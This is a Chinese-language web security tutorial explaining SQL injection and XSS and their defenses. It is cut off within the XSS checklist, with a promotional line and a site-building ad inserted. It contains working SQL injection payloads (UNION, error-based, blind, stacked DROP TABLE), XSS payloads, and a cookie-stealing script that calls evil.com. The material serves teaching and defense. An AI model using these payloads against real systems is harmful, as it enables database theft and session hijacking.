☰
Web安全漏洞入门:SQL注入、XSS与文件上传原理及防御方法详解
2026/10/2 4:08:14 网站建设 项目流程

引言:三个"十年不倒"的老漏洞

翻开任何一版 OWASP Top 10,注入类漏洞(Injection)和跨站脚本(XSS)几乎从未缺席;

而文件上传漏洞虽然不总是独立成项,却是无数 CMS、OA、电商后台从"一个上传点"直接走向"服务器沦陷"的起点。

很多初学者会问:这些漏洞讲了二十年,框架也进化了这么多代,为什么还在打?答案并不复杂——漏洞的根源不在技术栈的新旧,而在于开发者是否守住了"数据与代码的边界"。

这三个漏洞共享同一条底层逻辑:

漏洞用户输入被误当作越权后果
SQL 注入SQL 语句的一部分拖库、改库、提权
XSSHTML / JavaScript 代码窃取 Cookie、会话劫持、钓鱼
文件上传可被服务器执行的脚本GetShell、内网横向

本文从原理出发,逐层拆解这三类漏洞的成因、典型攻击链和工程化防御方案,并给出可直接落地的代码与配置。

安全声明:本文所有攻击示例仅用于安全学习、代码审计与授权测试。未经授权对他人系统进行扫描、利用或破坏,均属于违法行为。请务必在获得书面授权的靶场或测试环境中验证。

从工程视角看,这三个漏洞还有一个共同点:它们都不是"某个函数用错了",而是信任边界设计失败。开发者把来自 HTTP 请求的数据直接送进了另一个解析器——数据库解析器、浏览器 HTML 解析器、服务器脚本解析器。防御的核心,就是让数据在跨越边界时被正确编码、约束或隔离。理解这一点,比记住几个 payload 重要得多。


一、SQL 注入:当字符串拼接撕裂了数据边界

1.1 核心原理

SQL 注入的本质是解析器层面的混淆。数据库在收到一条语句时,需要先做词法分析和语法分析,区分"哪部分是语法结构(代码),哪部分是数据字面量"。

如果后端用字符串拼接构造 SQL:

sql="SELECT * FROM users WHERE username = '"+username+"'"

那么当username为admin' OR '1'='1时,最终语句变成:

SELECT*FROMusersWHEREusername='admin'OR'1'='1'

OR '1'='1'是恒真条件,攻击者无需密码即可登录。问题不在于单引号被输入,而在于单引号从"数据"跃迁成了"语法符号"。

更底层地看,数据库处理一条 SQL 大致经历以下阶段:

  1. 词法分析:把字符串切成 token,例如SELECT、FROM、'admin'、OR、'1'='1';
  2. 语法分析:根据语法规则构建抽象语法树(AST);
  3. 语义分析与权限检查:确认表、列、函数是否存在,当前账号是否有权限;
  4. 生成执行计划:决定走哪个索引、如何 join;
  5. 执行并返回结果。

字符串拼接的危险在于:用户输入在词法分析之前就混入了 SQL 文本,因此它可能生成新的 token,甚至改变 AST 的结构。而参数化查询(预编译)的做法是:先发送带占位符的 SQL 模板,让数据库完成词法、语法分析和执行计划生成;之后再把参数作为纯数据绑定进去。此时参数无论包含单引号、注释符还是UNION,都只能作为字符串值存在,无法参与语法结构。

可以用一个类比理解:参数化查询相当于先把模具做好,再往模具里倒材料;字符串拼接相当于把材料和模具说明书混在一起,让机器自己猜哪里是模具、哪里是材料。

1.2 常见注入手法

  • 联合查询注入:' UNION SELECT username, password FROM users --,直接把其他表的数据拼进结果集。
  • 报错注入:利用extractvalue()、updatexml()等函数在错误信息中回显数据(MySQL)。
  • 布尔盲注 / 时间盲注:页面不回显时,用AND SUBSTRING(...)='a'或SLEEP(5)逐字符推断。
  • 堆叠查询:'; DROP TABLE users; --,是否成功取决于驱动是否允许多语句。

下面补充每种手法的实战判断细节,这些细节在真实渗透和代码审计中非常关键。

联合查询注入的第一步通常是判断列数。可以用ORDER BY n递增,直到页面报错,说明列数小于 n;也可以用UNION SELECT 1,2,3...逐步对齐。确定列数后,还要判断哪一列会回显到页面。例如:

-- 假设原查询返回 3 列,且第 2、3 列会显示在页面上' UNION SELECT 1, database(), user() -- 'UNIONSELECT1,table_name,column_nameFROMinformation_schema.columnsWHEREtable_schema=database()--

如果目标数据库是 MySQL,information_schema是拖库的"地图";如果是 SQL Server,则常用sysobjects、syscolumns;Oracle 则常用all_tables、all_tab_columns。不同数据库的元数据表不同,这也是注入利用需要先指纹识别的原因。

报错注入适用于页面不回显数据、但会回显数据库错误的情况。MySQL 中常见 payload:

' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) -- 'ANDupdatexml(1,concat(0x7e,(SELECTuser()),0x7e),1)--

0x7e是~,用于在错误信息中标记数据边界,方便提取。需要注意的是,报错注入通常有长度限制,提取长数据时要配合SUBSTRING()分段读取。

布尔盲注适用于页面既不回显数据也不回显错误,但真/假条件会导致页面内容有细微差异。例如:

' AND SUBSTRING((SELECT database()), 1, 1) = 'a'--

攻击者可以逐字符判断。为了加速,可以用二分法:ASCII(SUBSTRING(...)) > 100,把 26 个字母的猜测压缩到 7 次以内。时间盲注则是在布尔盲注基础上加入SLEEP(5):

' AND IF(SUBSTRING((SELECT database()), 1, 1) = 'a',SLEEP(5),0)--

如果页面响应延迟约 5 秒,说明条件为真。时间盲注对网络稳定性要求较高,通常需要多次验证,但它的隐蔽性很强,因为页面内容可能完全正常,只有响应时间变化。

堆叠查询能否成功,取决于数据库驱动和连接配置。例如 PHP 的mysqli_query()默认不支持多语句,但mysqli_multi_query()支持;PDO 默认也不支持多语句,除非设置PDO::MYSQL_ATTR_MULTI_STATEMENTS。因此,'; DROP TABLE users; --并非在所有环境下都能执行。但一旦支持,危害极大,因为攻击者可以执行任意 SQL 语句。

此外,还有二次注入:恶意数据先被存入数据库,之后在另一个 SQL 语句中被取出并拼接,导致注入。例如用户注册时用户名存为admin'--,后续修改密码时后端拼接UPDATE users SET password='xxx' WHERE username='admin'--',就可能篡改管理员密码。二次注入的防御同样依赖参数化查询,而不是在输入口做一次性过滤。

1.3 正确写法:参数化查询

# ❌ 危险:字符串拼接deflogin_bad(conn,username,password):cur=conn.cursor()sql=f"SELECT id, username FROM users WHERE username='{username}' AND password='{password}'"cur.execute(sql)# 注入点returncur.fetchone()# ✅ 安全:参数化查询(预编译)deflogin_safe(conn,username,password):cur=conn.cursor()sql="SELECT id, username FROM users WHERE username = ? AND password = ?"cur.execute(sql,(username,password))# 参数作为纯数据绑定returncur.fetchone()

关键点:参数化查询的占位符只能替代"值",不能替代表名、列名、ORDER BY方向、LIMIT之外的语法结构。数据库会先把带占位符的语句编译成执行计划,再把参数作为纯数据填入,数据永远无法"越界"变成语法。

那ORDER BY怎么办?只能走白名单映射:

ALLOWED_SORT={"created_at":"created_at","score":"score","username":"username",}deflist_users(conn,sort_key,order):col=ALLOWED_SORT.get(sort_key)# 非法值 → NoneifcolisNone:raiseValueError("invalid sort key")direction="ASC"iforder.lower()=="asc"else"DESC"sql=f"SELECT id, username FROM users ORDER BY{col}{direction}"returnconn.execute(sql).fetchall()

这里拼接的是经过白名单收敛的枚举值,而非用户原始输入,因此是安全的。

在真实项目中,还有一些参数化查询的细节容易踩坑:

LIKE 查询:占位符可以用于 LIKE,但通配符%和_应由业务代码决定是否添加,而不是让用户输入直接拼接。例如:

# 安全:参数值内部可以包含 %keyword=f"%{user_input}%"cur.execute("SELECT id, title FROM articles WHERE title LIKE ?",(keyword,))

如果用户输入本身包含%,它只会作为普通字符被匹配,不会改变 SQL 结构。但如果你希望用户输入中的%不被当作通配符,需要显式转义,例如把%替换为\%,并指定ESCAPE '\'。

IN 子句:不能直接写WHERE id IN (?)并传入列表,因为占位符数量必须与值数量匹配。正确做法是根据列表长度动态生成占位符:

ids=[1,2,3]placeholders=",".join(["?"]*len(ids))sql=f"SELECT id, name FROM users WHERE id IN ({placeholders})"cur.execute(sql,ids)

这里动态生成的是占位符本身,不是用户数据,因此安全。

表名、列名、排序方向:这些属于 SQL 语法结构,参数化查询无法覆盖。必须使用白名单映射,绝不能直接拼接用户输入。很多 ORM 的order_by()方法如果接受原始字符串,也可能成为注入点,使用前要查阅文档确认是否经过白名单处理。

1.4 防御纵深

  1. 参数化查询(首选,从根上消除);
  2. ORM 不等于安全:SQLAlchemy 的text()、Django 的extra()/raw()若做字符串拼接,同样可注入;
  3. 最小权限:Web 应用连接数据库的账号不应有FILE、DROP、跨库读写权限,避免注入升级为拖库或写马;
  4. 统一错误处理:关闭详细报错回显,防止报错注入;
  5. WAF / RASP作为兜底,而非第一道防线。

对以上五点再展开一些实战建议:

ORM 不等于安全。很多开发者认为用了 ORM 就万事大吉,但实际上 ORM 只是提供了参数化的能力,并不强制你使用。例如 SQLAlchemy:

# ❌ 危险:text() 中拼接fromsqlalchemyimporttext sql=text(f"SELECT * FROM users WHERE username = '{username}'")session.execute(sql)# ✅ 安全:text() 中使用绑定参数sql=text("SELECT * FROM users WHERE username = :username")session.execute(sql,{"username":username})

Django 中:

# ❌ 危险:raw() 拼接User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'")# ✅ 安全:raw() 使用参数User.objects.raw("SELECT * FROM users WHERE username = %s",[username])

最小权限是数据库层面的最后一道闸门。假设注入已经发生,如果 Web 账号只有SELECT、INSERT、UPDATE、DELETE权限,攻击者就无法通过INTO OUTFILE写 WebShell,也无法DROP TABLE。生产环境中,建议为每个应用创建独立数据库账号,只授予其所需库表的必要权限,并禁止FILE、PROCESS、SUPER等高危权限。

统一错误处理。很多注入利用依赖报错回显。生产环境应关闭display_errors,统一返回通用错误页,并将详细错误写入日志。这样报错注入就失去了回显通道,只能退化为盲注,攻击成本大幅提高。

WAF / RASP能拦截大量已知 payload,但攻击者可以通过编码、分块、注释混淆等方式绕过 WAF。因此 WAF 只能作为纵深防御的一层,不能替代参数化查询。RASP 运行在应用内部,能更准确地识别危险调用,但同样可能被绕过,且对性能有影响。

1.5 常见误区与 FAQ

Q1:对单引号做转义,能不能防住 SQL 注入?

不能完全防住。转义单引号只在特定数据库、特定字符集下有效,而且容易遗漏数字型注入、宽字节注入、二次注入等场景。例如 GBK 编码下,%df%27可能绕过addslashes()。参数化查询才是根本方案。

Q2:用了 PDO 就安全了吗?

不一定。如果使用PDO::ATTR_EMULATE_PREPARES => true(某些版本的默认值),PDO 会在客户端模拟预编译,仍然可能因为字符集问题产生注入。建议显式设置PDO::ATTR_EMULATE_PREPARES => false,使用数据库原生预编译。

Q3:为什么ORDER BY ?不起作用?

因为占位符只能替代值,不能替代列名或排序方向。ORDER BY ?会被数据库当作按常量排序,而不是按列排序。必须使用白名单映射。

Q4:存储过程能防注入吗?

如果存储过程内部使用动态 SQL 拼接,同样会注入。安全的存储过程应使用参数化查询,并避免EXECUTE IMMEDIATE拼接用户输入。

Q5:如何快速发现代码中的 SQL 注入点?

搜索字符串拼接 SQL 的关键词,如execute(、query(、raw(、extra(、text(、f"SELECT、+ "SELECT"等,然后检查是否使用参数化。代码审计时,重点看用户输入是否直接进入 SQL 文本。


二、XSS:浏览器把数据当成了代码

2.1 三种类型

  • 反射型:?q=<script>...</script>被服务端原样回显在 HTML 中,通常配合钓鱼链接。
  • 存储型:恶意内容被存进数据库(评论、昵称、工单),所有访问者中招,危害最大。
  • DOM 型:服务端完全不参与,前端 JS 直接把location.hash写进innerHTML。

存储型 XSS 的典型场景是留言板、评论、用户昵称、工单系统、客服聊天记录。攻击者提交一条包含恶意脚本的评论,脚本被存入数据库;之后任何访问该页面的用户,浏览器都会执行这段脚本。由于脚本来自"可信"的站内数据,服务端可能完全不做输出编码,因此存储型 XSS 的触发率极高。

一个真实的攻击链是:攻击者在电商平台的商品评价中提交<script>fetch('https://evil.com/steal?c='+document.cookie)</script>。当其他用户浏览评价时,脚本执行,把当前用户的 Cookie 发送到攻击者服务器。如果该 Cookie 没有设置HttpOnly,攻击者就能直接盗取会话,冒充用户登录。即使设置了HttpOnly,攻击者仍可以用 XSS 发起 CSRF、篡改页面、钓鱼、挖矿,危害依然严重。

反射型 XSS 常见于搜索框、错误提示、跳转参数。例如搜索页面把q参数原样回显:“您搜索的是:”。攻击者构造一个恶意链接,诱导用户点击。由于脚本来自当前域名,浏览器无法区分这是用户输入还是网站代码。

DOM 型 XSS 的特点是服务端返回的 HTML 完全正常,恶意数据只在浏览器端被 JavaScript 写入危险位置。例如:

consthash=location.hash.substring(1);document.getElementById("content").innerHTML=hash;

攻击者构造https://example.com/#<img src=x onerror=alert(1)>,浏览器加载页面后,前端 JS 把 hash 内容写入innerHTML,触发 XSS。这种漏洞用服务端 WAF 很难发现,因为请求中可能根本没有恶意内容到达服务端。

2.2 原理:输出上下文决定一切

XSS 的根因是输出编码缺失。同一段数据,落在不同上下文里需要的编码方式完全不同:

输出位置需要的处理
HTML 文本节点HTML 实体编码<>&"'
HTML 属性值属性编码 + 强制加引号
<script>内JavaScript 字符串编码,禁止</script>
URL 参数URL 编码
CSSCSS 编码,禁止expression()

用一套"过滤<script>"的方案去覆盖所有上下文,必然漏。

除了上述常见上下文,还有几个容易被忽略的位置:

  • HTML 注释:<!-- 用户输入 -->,如果用户输入包含-->,可能提前闭合注释,插入脚本。
  • <style>标签内:用户输入如果进入 CSS,可能通过background:url(javascript:...)或expression()触发(旧版 IE)。
  • 事件属性:<button onclick="doSomething('用户输入')">,如果用户输入包含单引号,可以闭合字符串并插入代码。
  • <script>中的 JSON:var data = {"name": "用户输入"};,如果用户输入包含</script>,可以提前闭合脚本标签,插入新的<script>。
  • URL 的href/src:<a href="用户输入">,如果用户输入是javascript:alert(1),点击链接即执行。

因此,现代防御强调上下文感知的输出编码。模板引擎的自动转义之所以有效,是因为它知道当前输出位置是 HTML 文本、属性还是 JavaScript,并应用对应的编码规则。

2.3 代码对比

# ❌ 危险:手工拼接模板,未做任何转义fromflaskimportFlask,request app=Flask(__name__)@app.route("/hello")defhello_bad():name=request.args.get("name","")returnf"<h1>Hello,{name}!</h1>"# 传入 <img src=x onerror=alert(1)> 即触发# ✅ 安全:使用自动转义模板引擎 + 正确响应头fromflaskimportrender_template,make_responseimportsecrets@app.route("/hello_safe")defhello_safe():name=request.args.get("name","")nonce=secrets.token_urlsafe(16)resp=make_response(render_template("hello.html",name=name,nonce=nonce))resp.headers["Content-Security-Policy"]=(f"default-src 'self'; script-src 'self' 'nonce-{nonce}'; object-src 'none'; base-uri 'self'")resp.headers["X-Content-Type-Options"]="nosniff"resp.set_cookie("session","xxx",httponly=True,samesite="Lax",secure=True)returnresp

配套的hello.html(Jinja2 默认对.html模板开启自动转义):

<h1>Hello, {{ name }}!</h1>{# 自动 HTML 实体编码 #}<scriptnonce="{{ nonce }}">constuser={{name|tojson}};// 注入 JS 上下文时用 tojson,而不是裸插值</script>

| safe、Markup()、v-html、React 的dangerouslySetInnerHTML都是主动关闭转义的开关,用之前必须经过净化。

Jinja2 的自动转义规则是:对于.html、.htm、.xml等模板,默认对变量输出进行 HTML 实体编码,把<变成&lt;、>变成&gt;、&变成&amp;、"变成&#34;、'变成&#39;。这样即使用户输入<script>alert(1)</script>,浏览器看到的也只是文本,而不是脚本标签。

但自动转义只覆盖 HTML 文本上下文。如果变量落在<script>标签内,HTML 实体编码并不能阻止</script>闭合标签。因此 Jinja2 提供了|tojson过滤器,它会把 Python 对象序列化为 JSON,并对<、>、&、'等字符进行转义,确保输出可以安全嵌入 JavaScript。类似地,如果变量要放入 URL,应使用|urlencode;放入 CSS,应使用|cssescape。

在 React 中,JSX 默认对文本内容进行转义,因此{userInput}是安全的。但dangerouslySetInnerHTML={{__html: userInput}}会关闭转义,必须配合 DOMPurify 等净化库。Vue 中{{ userInput }}是安全的,v-html是危险的。Angular 默认对插值进行转义,[innerHTML]会经过 Sanitizer,但某些场景仍可能被绕过。

2.4 DOM 型 XSS 与前端防御

// ❌ 危险constq=newURLSearchParams(location.search).get("q");document.getElementById("result").innerHTML=q;// ✅ 安全:优先用 textContentdocument.getElementById("result").textContent=q;// 若必须渲染富文本,先净化importDOMPurifyfrom"dompurify";el.innerHTML=DOMPurify.sanitize(userHtml,{ALLOWED_TAGS:["b","i","a","p"]});

在前端框架中,还要注意以下危险 API:

  • element.innerHTML、outerHTML、insertAdjacentHTML;
  • document.write、document.writeln;
  • eval、setTimeout(string)、setInterval(string)、Function(string);
  • location.href = userInput(如果userInput是javascript:协议);
  • element.setAttribute("onclick", userInput);
  • jQuery 的$(userInput)、.html(userInput)、.append(userInput)。

如果必须把用户输入放入 URL,应校验协议白名单:

functionsafeUrl(url){try{constu=newURL(url,location.origin);if(["http:","https:"].includes(u.protocol)){returnu.href;}}catch(e){}return"#";}

对于富文本,推荐使用 DOMPurify,并采用白名单策略。黑名单过滤(例如只删除<script>)永远会漏,因为 HTML 的解析规则非常复杂,攻击者可以利用大小写、注释、畸形标签、命名空间等方式绕过。白名单则只允许已知安全的标签和属性,例如<b>、<i>、<a href>、<p>,并限制href协议为http、https、mailto。

2.5 防御清单

    更多硬核网安与AI工具包,请扫码获取完整源码!
    上下文感知的输出编码(模板引擎自动转义是性价比最高的一招);
    2.CSP:script-src 'self' 'nonce-xxx'能阻断绝大多数内联脚本执行,是 XSS 的最后一道闸门;
    3.Cookie 加固:HttpOnly阻止 JS 读取会话,SameSite=Lax/Strict

    需要专业的网站建设服务?

    联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

    立即咨询